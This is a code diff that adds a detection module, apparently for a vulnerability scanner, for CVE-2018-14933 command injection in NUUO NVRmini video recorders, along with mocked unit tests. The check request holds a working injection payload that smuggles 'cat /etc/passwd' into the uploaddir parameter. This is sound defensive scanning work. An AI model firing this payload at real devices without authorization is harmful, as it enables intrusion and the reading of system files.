diff --git a/agent/exploits/cve_2018_14933.py b/agent/exploits/cve_2018_14933.py new file mode 100644 index 0000000..9fbb507 --- /dev/null +++ b/agent/exploits/cve_2018_14933.py @@ -0,0 +1,39 @@ +"""Agent implementation for CVE-2018-14933""" + +import re + +from agent import definitions +from agent import exploits_registry +from agent.exploits import webexploit + +VULNERABILITY_TITLE = "Remote Command Execution in NUUO NVRmini devices" +VULNERABILITY_REFERENCE = "CVE-2018-14933" +VULNERABILITY_DESCRIPTION = ( + "The `upgrade_handle.php` endpoint on NUUO NVRmini devices is vulnerable to remote command execution. " + "This flaw exists due to improper sanitization of shell metacharacters in the `uploaddir` parameter when " + "handling a `writeuploaddir` command." +) +RISK_RATING = "CRITICAL" + + +@exploits_registry.register +class CVE201814933Exploit(webexploit.WebExploit): + accept_request = definitions.Request( + method="GET", + path="/", + ) + + accept_pattern = [re.compile(r"NUUO Network Video Recorder")] + check_request = definitions.Request( + method="GET", + path="/upgrade_handle.php?cmd=writeuploaddir&uploaddir=%27;cat%20/etc/passwd;%27", + ) + + match_pattern = [re.compile(r"root:.*:0:0:")] + + metadata = definitions.VulnerabilityMetadata( + title=VULNERABILITY_TITLE, + description=VULNERABILITY_DESCRIPTION, + reference=VULNERABILITY_REFERENCE, + risk_rating=RISK_RATING, + ) diff --git a/tests/exploits/cve_2018_14933_test.py b/tests/exploits/cve_2018_14933_test.py new file mode 100644 index 0000000..82eaa92 --- /dev/null +++ b/tests/exploits/cve_2018_14933_test.py @@ -0,0 +1,87 @@ +"""Unit tests for Agent implementation: CVE-2018-14933""" + +import requests_mock as req_mock +from ostorlab.agent.mixins import agent_report_vulnerability_mixin as vuln_mixin + +from agent import definitions +from agent.exploits import cve_2018_14933 + + +def testCVE201814933_whenVulnerable_reportFinding( + requests_mock: req_mock.mocker.Mocker, +) -> None: + """CVE-2018-14933 unit test: case when target is vulnerable.""" + requests_mock.get( + "http://localhost:80/", + text="<title>NUUO Network Video Recorder", + status_code=200, + ) + requests_mock.get( + "http://localhost:80/upgrade_handle.php", + text="root:x:0:0:root:/root:/bin/bash", + status_code=200, + ) + exploit_instance = cve_2018_14933.CVE201814933Exploit() + target = definitions.Target("http", "localhost", 80) + + accept = exploit_instance.accept(target) + vulnerabilities = exploit_instance.check(target) + + assert accept is True + assert len(vulnerabilities) > 0 + vulnerability = vulnerabilities[0] + assert ( + vulnerability.entry.title == "Remote Command Execution in NUUO NVRmini devices" + ) + assert vulnerability.technical_detail == ( + "http://localhost:80 is vulnerable to CVE-2018-14933, Remote Command Execution in NUUO NVRmini devices" + ) + assert vulnerability.risk_rating == vuln_mixin.RiskRating.CRITICAL + + +def testCVE201814933_whenSafe_reportNothing( + requests_mock: req_mock.mocker.Mocker, +) -> None: + """CVE-2018-14933 unit test: case when target is safe.""" + requests_mock.get( + "http://localhost:80/", + text="<title>NUUO Network Video Recorder", + status_code=200, + ) + requests_mock.get( + "http://localhost:80/upgrade_handle.php", + text="Access Denied", + status_code=403, + ) + exploit_instance = cve_2018_14933.CVE201814933Exploit() + target = definitions.Target("http", "localhost", 80) + + accept = exploit_instance.accept(target) + vulnerabilities = exploit_instance.check(target) + + assert accept is True + assert len(vulnerabilities) == 0 + + +def testCVE201814933_whenTargetNotRelevant_reportNothing( + requests_mock: req_mock.mocker.Mocker, +) -> None: + """CVE-2018-14933 unit test: case when target is not a NUUO product.""" + requests_mock.get( + "http://localhost:80/", + text="Not Found", + status_code=404, + ) + requests_mock.get( + "http://localhost:80/upgrade_handle.php", + text="Access Denied", + status_code=403, + ) + exploit_instance = cve_2018_14933.CVE201814933Exploit() + target = definitions.Target("http", "localhost", 80) + + accept = exploit_instance.accept(target) + vulnerabilities = exploit_instance.check(target) + + assert accept is False + assert len(vulnerabilities) == 0